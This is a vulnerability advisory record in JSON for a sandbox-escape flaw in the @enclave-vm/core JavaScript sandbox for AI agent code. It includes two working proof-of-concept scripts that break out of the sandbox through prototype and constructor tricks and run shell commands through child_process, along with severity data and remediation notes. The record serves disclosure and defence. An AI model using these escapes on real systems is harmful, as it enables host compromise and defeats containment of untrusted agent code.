{"id":"CVE-2026-27597","aliases":["CVE-2026-27597","GHSA-f229-3862-4942"],"related":[],"kind":"vulnerability","state":"published","title":"@enclave-vm/core is vulnerable to Sandbox Escape","summary":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () => {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) => {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Enclave es un sandbox seguro de JavaScript diseñado para la ejecución segura de código de agentes de IA. Antes de la versión 2.11.1, es posible evadir los límites de seguridad establecidos por `@enclave-vm/core`, lo que puede utilizarse para lograr ejecución remota de código (RCE). El problema ha sido solucionado en la versión 2.11.1.","source":"nvd"}],"published":"2026-02-25T03:56:25.927Z","modified":"2026-09-10T03:50:34.762Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 2.11.1","status":"affected"}],"vendor":"agentfront","product":"enclave","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.11.1"}],"ecosystem":"npm","package":"@enclave-vm/core","purl":"pkg:npm/%40enclave-vm/core","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.11.1"}],"vendor":"agentfront","product":"enclave","cpe":"cpe:2.3:a:agentfront:enclave:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27597","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/agentfront/enclave","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-02-25T21:13:15.333Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-27597","url":"https://www.cve.org/CVERecord?id=CVE-2026-27597","licence":"CVE Terms of Use","modified":"2026-02-25T21:13:32.747Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f229-3862-4942","url":"https://github.com/advisories/GHSA-f229-3862-4942","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:34.762Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-27597","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27597","licence":"Public domain","modified":"2026-06-17T10:27:21.953Z"}],"updatedAt":"2026-11-25T22:59:14.815Z","epss":{"score":0.0103,"percentile":0.64649,"date":"2026-12-01T12:00:22.000Z"}}